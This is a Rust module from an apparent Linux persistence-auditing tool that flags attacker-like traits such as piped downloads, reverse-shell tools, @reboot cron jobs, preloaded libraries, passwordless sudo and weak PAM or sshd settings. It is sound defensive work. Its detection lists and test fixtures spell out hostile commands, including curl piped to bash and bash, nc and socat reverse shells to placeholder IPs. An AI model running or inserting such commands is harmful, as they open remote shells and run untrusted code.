Skip to main content

persistence/
flags.rs

1//! Traits that look like an attacker's. Each is a lead, not a verdict:
2//! administrators download installers and use `nc` too, and attackers can
3//! avoid every one of them. Commands are read as words, not parsed as the
4//! shell would.
5
6use std::fmt;
7
8use crate::{Detail, Entry, Kind, PamRule, PasswordState};
9
10/// Where files vanish at reboot or that anyone can write to.
11const TEMPORARY_DIRECTORIES: [&str; 3] = ["/tmp", "/var/tmp", "/dev/shm"];
12const DOWNLOADERS: [&str; 2] = ["curl", "wget"];
13const SHELLS: [&str; 9] = [
14    "sh", "bash", "dash", "zsh", "ksh", "ash", "mksh", "csh", "tcsh",
15];
16/// Including Debian's two builds of `nc`.
17const NETWORK_RELAYS: [&str; 6] = [
18    "nc",
19    "nc.traditional",
20    "nc.openbsd",
21    "ncat",
22    "netcat",
23    "socat",
24];
25/// Where bash opens a network connection instead of a file.
26const BASH_NETWORK_PATHS: [&str; 2] = ["/dev/tcp/", "/dev/udp/"];
27/// Characters that end a word for the shell.
28const WORD_BREAKS: [char; 13] = [
29    '|', '&', ';', '(', ')', '<', '>', '\'', '"', '`', '$', '{', '}',
30];
31/// Base64 decoding by function name: Python, PHP, `PowerShell`, Perl.
32const DECODING_FUNCTIONS: [&str; 4] = [
33    "b64decode",
34    "base64_decode",
35    "frombase64string",
36    "decode_base64",
37];
38
39/// Where `sshd` looks for keys unless told otherwise.
40const DEFAULT_KEY_FILES: [&str; 4] = [
41    ".ssh/authorized_keys",
42    ".ssh/authorized_keys2",
43    "%h/.ssh/authorized_keys",
44    "%h/.ssh/authorized_keys2",
45];
46
47/// A suspicious trait.
48#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
49pub enum Flag {
50    /// The command runs something from, or works in, `/tmp`, `/var/tmp`
51    /// or `/dev/shm`: anyone can write there, and `/dev/shm` leaves nothing
52    /// on disk.
53    TemporaryDirectory,
54    /// `curl` or `wget` output fed to a shell (`curl … | sh`,
55    /// `bash -c "$(wget …)"`): code fetched and run, never kept.
56    DownloadToShell,
57    /// Base64 decoding (`base64 -d`, `openssl base64 -d`, `b64decode`):
58    /// a payload hidden from a casual read.
59    Base64Decoding,
60    /// `nc`, `ncat`, `netcat`, `socat`, or bash's `/dev/tcp/` and
61    /// `/dev/udp/`: the usual makings of a reverse shell.
62    ReverseShell,
63    /// A cron job run at every boot (`@reboot`).
64    AtReboot,
65    /// A key that may only run a forced command (`command="…"`): sometimes
66    /// a restricted backup key, sometimes a backdoor run at every login.
67    ForcedCommand,
68    /// A library in ld.so.preload, loaded into every program: distributions
69    /// ship none, rootkits use it to hide.
70    Preload,
71    /// sudo without a password for every command (`NOPASSWD: ALL`), or
72    /// without authentication at all (`Defaults !authenticate`).
73    SudoWithoutPassword,
74    /// A PAM rule running a program (`pam_exec.so`): at every login, with
75    /// the password if `expose_authtok` is set.
76    PamExec,
77    /// `auth sufficient pam_permit.so`: any password accepted.
78    PamAcceptsAnyPassword,
79    /// A PAM module given by a path outside the system's module
80    /// directories (`/lib/…/security`, `/usr/lib/…/security`).
81    PamModuleElsewhere,
82    /// `PermitRootLogin yes`: root may log in over SSH with a password.
83    RootPasswordLogin,
84    /// `PermitEmptyPasswords yes`: accounts without a password may log in
85    /// over SSH.
86    EmptyPasswords,
87    /// Keys `sshd` accepts read from somewhere else than the homes'
88    /// `.ssh/authorized_keys` (`AuthorizedKeysFile`), or from a program
89    /// (`AuthorizedKeysCommand`).
90    KeysElsewhere,
91    /// modprobe runs a command instead of loading or unloading a module
92    /// (`install`, `remove`), other than `/bin/true` or `/bin/false`, the
93    /// usual way to block one.
94    ModprobeCommand,
95    /// An account with id 0 other than root: root's power under another
96    /// name.
97    UidZero,
98    /// An account without a password (an empty field in `etc/passwd` or
99    /// `etc/shadow`): it logs in with none where PAM allows it.
100    NoPasswordNeeded,
101    /// A system account (id 1 to 999) whose shell lets it log in: a
102    /// service account turned into a way in (`www-data` given
103    /// `/bin/bash`). Some ship that way (`postgres` on Debian).
104    SystemAccountShell,
105}
106
107impl Flag {
108    /// A short label.
109    #[must_use]
110    pub const fn label(self) -> &'static str {
111        match self {
112            Self::TemporaryDirectory => "runs from a temporary directory",
113            Self::DownloadToShell => "download piped to a shell",
114            Self::Base64Decoding => "base64 decoding",
115            Self::ReverseShell => "network shell tool",
116            Self::AtReboot => "runs at every boot",
117            Self::ForcedCommand => "key with a forced command",
118            Self::Preload => "library preloaded into every program",
119            Self::SudoWithoutPassword => "sudo without a password",
120            Self::PamExec => "PAM runs a program",
121            Self::PamAcceptsAnyPassword => "PAM accepts any password",
122            Self::PamModuleElsewhere => "PAM module outside the module directories",
123            Self::RootPasswordLogin => "root may log in over SSH with a password",
124            Self::EmptyPasswords => "SSH logins without a password",
125            Self::KeysElsewhere => "SSH keys read from elsewhere",
126            Self::ModprobeCommand => "modprobe runs a command",
127            Self::UidZero => "id 0 besides root",
128            Self::NoPasswordNeeded => "no password needed",
129            Self::SystemAccountShell => "system account with a login shell",
130        }
131    }
132}
133
134impl fmt::Display for Flag {
135    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
136        f.write_str(self.label())
137    }
138}
139
140/// What looks suspicious about `entry`, in [`Flag`] order.
141#[must_use]
142pub fn flags(entry: &Entry) -> Vec<Flag> {
143    let command = entry.command.as_deref().unwrap_or_default();
144    let words: Vec<&str> = words(command).collect();
145    [
146        (Flag::TemporaryDirectory, in_temporary_directory(command)),
147        (Flag::DownloadToShell, downloads_to_shell(command)),
148        (Flag::Base64Decoding, decodes_base64(command, &words)),
149        (Flag::ReverseShell, uses_network_relay(command, &words)),
150        (Flag::AtReboot, runs_at_reboot(entry)),
151        (
152            Flag::ForcedCommand,
153            entry.kind == Kind::AuthorizedKeys && entry.command.is_some(),
154        ),
155        (Flag::Preload, entry.detail == Detail::PreloadLibrary),
156        (
157            Flag::SudoWithoutPassword,
158            sudo_without_password(&entry.detail),
159        ),
160        (
161            Flag::PamExec,
162            pam_rule(entry).is_some_and(|r| r.module_name() == "pam_exec.so"),
163        ),
164        (
165            Flag::PamAcceptsAnyPassword,
166            pam_rule(entry).is_some_and(accepts_any_password),
167        ),
168        (
169            Flag::PamModuleElsewhere,
170            pam_rule(entry).is_some_and(|r| module_elsewhere(&r.module)),
171        ),
172        (
173            Flag::RootPasswordLogin,
174            sshd_setting(entry, "PermitRootLogin").is_some_and(|v| v.eq_ignore_ascii_case("yes")),
175        ),
176        (
177            Flag::EmptyPasswords,
178            sshd_setting(entry, "PermitEmptyPasswords")
179                .is_some_and(|v| v.eq_ignore_ascii_case("yes")),
180        ),
181        (Flag::KeysElsewhere, keys_elsewhere(entry)),
182        (Flag::ModprobeCommand, modprobe_command(entry)),
183        (Flag::UidZero, uid_zero(entry)),
184        (Flag::NoPasswordNeeded, no_password_needed(&entry.detail)),
185        (
186            Flag::SystemAccountShell,
187            system_account_shell(&entry.detail),
188        ),
189    ]
190    .into_iter()
191    .filter_map(|(flag, found)| found.then_some(flag))
192    .collect()
193}
194
195/// The command's words, split where the shell would split them.
196fn words(command: &str) -> impl Iterator<Item = &str> {
197    command
198        .split(|c: char| c.is_whitespace() || WORD_BREAKS.contains(&c))
199        .filter(|word| !word.is_empty())
200}
201
202/// The program a word names: `/usr/bin/curl` is `curl`.
203fn program(word: &str) -> &str {
204    word.rsplit('/').next().unwrap_or(word)
205}
206
207fn in_temporary_directory(command: &str) -> bool {
208    TEMPORARY_DIRECTORIES.iter().any(|directory| {
209        command.match_indices(directory).any(|(at, _)| {
210            let before = command[..at].chars().next_back();
211            let after = command[at + directory.len()..].chars().next();
212            !before.is_some_and(is_path_character)
213                && !after.is_some_and(|c| c != '/' && is_path_character(c))
214        })
215    })
216}
217
218fn is_path_character(c: char) -> bool {
219    c.is_alphanumeric() || "._-/~".contains(c)
220}
221
222/// `curl … | sh`, or a shell running `$(curl …)`, `` `wget …` `` or
223/// `<(curl …)`.
224fn downloads_to_shell(command: &str) -> bool {
225    let is_downloader = |word: &str| DOWNLOADERS.contains(&program(word));
226    let is_shell = |word: &str| SHELLS.contains(&program(word));
227    let stages: Vec<&str> = command.split('|').collect();
228    let piped = stages
229        .iter()
230        .position(|stage| words(stage).any(is_downloader))
231        .is_some_and(|at| {
232            stages[at + 1..].iter().any(|stage| {
233                words(stage)
234                    .find(|w| !matches!(*w, "sudo" | "env"))
235                    .is_some_and(is_shell)
236            })
237        });
238    let substituted = ["$(", "`", "<("].iter().any(|opening| {
239        command
240            .split(opening)
241            .skip(1)
242            .any(|inside| words(inside).next().is_some_and(is_downloader))
243    }) && words(command).any(is_shell);
244    piped || substituted
245}
246
247fn decodes_base64(command: &str, words: &[&str]) -> bool {
248    let is_decode_switch = |w: &&str| {
249        *w == "--decode" || (w.starts_with('-') && !w.starts_with("--") && w.contains(['d', 'D']))
250    };
251    let base64_tool = words
252        .iter()
253        .position(|w| program(w) == "base64")
254        .is_some_and(|at| words[at + 1..].iter().take(3).any(is_decode_switch));
255    let openssl = words.iter().any(|w| program(w) == "openssl")
256        && words
257            .iter()
258            .any(|w| matches!(*w, "base64" | "-base64" | "-a"))
259        && words.contains(&"-d");
260    let lower = command.to_ascii_lowercase();
261    base64_tool || openssl || DECODING_FUNCTIONS.iter().any(|f| lower.contains(f))
262}
263
264fn uses_network_relay(command: &str, words: &[&str]) -> bool {
265    BASH_NETWORK_PATHS.iter().any(|path| command.contains(path))
266        || words
267            .iter()
268            .any(|word| NETWORK_RELAYS.contains(&program(word)))
269}
270
271fn runs_at_reboot(entry: &Entry) -> bool {
272    matches!(entry.kind, Kind::Crontab | Kind::SystemCrontab)
273        && entry.schedule.as_deref() == Some("@reboot")
274}
275
276fn sudo_without_password(detail: &Detail) -> bool {
277    match detail {
278        Detail::SudoRule(rule) => {
279            rule.tags.iter().any(|t| t == "NOPASSWD") && rule.commands.iter().any(|c| c == "ALL")
280        }
281        Detail::SudoDefaults { settings, .. } => settings
282            .split(',')
283            .any(|setting| setting.trim() == "!authenticate"),
284        _ => false,
285    }
286}
287
288fn pam_rule(entry: &Entry) -> Option<&PamRule> {
289    match &entry.detail {
290        Detail::PamRule(rule) => Some(rule),
291        _ => None,
292    }
293}
294
295fn accepts_any_password(rule: &PamRule) -> bool {
296    rule.kind() == "auth" && rule.control == "sufficient" && rule.module_name() == "pam_permit.so"
297}
298
299/// A path not of the form `/lib/…/security/x.so` or
300/// `/usr/lib…/…/security/x.so`.
301fn module_elsewhere(module: &str) -> bool {
302    let Some((directory, _)) = module.rsplit_once('/') else {
303        return false;
304    };
305    let in_library = ["/lib", "/usr/lib"]
306        .iter()
307        .any(|root| directory.starts_with(root));
308    !(in_library && directory.ends_with("/security"))
309}
310
311/// The value of an sshd setting named `key` (any case).
312fn sshd_setting<'e>(entry: &'e Entry, key: &str) -> Option<&'e str> {
313    match &entry.detail {
314        Detail::SshdSetting {
315            key: written,
316            value,
317            ..
318        } if written.eq_ignore_ascii_case(key) => Some(value),
319        _ => None,
320    }
321}
322
323fn keys_elsewhere(entry: &Entry) -> bool {
324    let files = sshd_setting(entry, "AuthorizedKeysFile").is_some_and(|v| {
325        v.split_whitespace()
326            .any(|f| !DEFAULT_KEY_FILES.contains(&f))
327    });
328    let command = sshd_setting(entry, "AuthorizedKeysCommand")
329        .is_some_and(|v| !v.eq_ignore_ascii_case("none"));
330    files || command
331}
332
333fn modprobe_command(entry: &Entry) -> bool {
334    let blocks = |command: &str| {
335        matches!(
336            command.trim(),
337            "/bin/true" | "/bin/false" | "/usr/bin/true" | "/usr/bin/false" | "true" | "false"
338        )
339    };
340    entry.kind == Kind::Modprobe && entry.command.as_deref().is_some_and(|c| !blocks(c))
341}
342
343fn uid_zero(entry: &Entry) -> bool {
344    matches!(&entry.detail, Detail::Account(account) if account.uid == Some(0))
345        && entry.user.as_deref() != Some("root")
346}
347
348fn no_password_needed(detail: &Detail) -> bool {
349    match detail {
350        Detail::Account(account) => account.empty_password,
351        Detail::Password(password) => password.state == PasswordState::Empty,
352        _ => false,
353    }
354}
355
356fn system_account_shell(detail: &Detail) -> bool {
357    matches!(detail, Detail::Account(account)
358        if account.uid.is_some_and(|uid| (1..1000).contains(&uid)) && account.can_log_in())
359}
360
361#[cfg(test)]
362mod tests {
363    use super::*;
364
365    fn flags_of(command: &str) -> Vec<Flag> {
366        let mut entry = Entry::new(Kind::ShellInit, 1, Detail::ShellCommand);
367        entry.command = Some(command.to_owned());
368        flags(&entry)
369    }
370
371    #[test]
372    fn temporary_directories() {
373        for command in [
374            "/tmp/.x/run",
375            "cd /tmp && ./a",
376            "sh '/dev/shm/k'",
377            "x=/var/tmp/y; $x",
378        ] {
379            assert_eq!(flags_of(command), [Flag::TemporaryDirectory], "{command}");
380        }
381        for command in [
382            "/home/a/tmp/x",
383            "/tmpfiles/x",
384            "rm -rf ~/tmp",
385            "/usr/bin/tmpwatch",
386        ] {
387            assert!(flags_of(command).is_empty(), "{command}");
388        }
389    }
390
391    #[test]
392    fn downloads_to_a_shell() {
393        for command in [
394            "curl -fsSL http://203.0.113.9/i.sh | bash",
395            "wget -qO- http://198.51.100.2/x|sudo sh -s",
396            "bash -c \"$(curl -s https://example.com/s)\"",
397            "sh -c `wget -O - http://192.0.2.1/a`",
398            "bash <(curl -s https://example.net/b)",
399        ] {
400            assert!(
401                flags_of(command).contains(&Flag::DownloadToShell),
402                "{command}"
403            );
404        }
405        for command in [
406            "curl -o /opt/x.tar.gz https://example.com/x.tar.gz",
407            "curl https://example.com | grep ok",
408            "echo $(date) | sh",
409        ] {
410            assert!(
411                !flags_of(command).contains(&Flag::DownloadToShell),
412                "{command}"
413            );
414        }
415    }
416
417    #[test]
418    fn base64_and_network_tools() {
419        for command in [
420            "echo aWQK | base64 -d | sh",
421            "base64 --decode < f",
422            "openssl base64 -d -in x",
423            "python3 -c 'import base64;exec(base64.b64decode(\"aWQ=\"))'",
424        ] {
425            assert!(
426                flags_of(command).contains(&Flag::Base64Decoding),
427                "{command}"
428            );
429        }
430        for command in ["base64 -w0 file", "base64 f | tee a b | grep -d skip x"] {
431            assert!(
432                !flags_of(command).contains(&Flag::Base64Decoding),
433                "{command}"
434            );
435        }
436        for command in [
437            "bash -i >& /dev/tcp/192.0.2.10/4444 0>&1",
438            "nc -e /bin/sh 198.51.100.7 9001",
439            "/usr/bin/nc.traditional 192.0.2.3 80",
440            "socat exec:'bash -li',pty tcp:203.0.113.5:443",
441        ] {
442            assert!(flags_of(command).contains(&Flag::ReverseShell), "{command}");
443        }
444        assert!(!flags_of("ncdu /").contains(&Flag::ReverseShell));
445    }
446}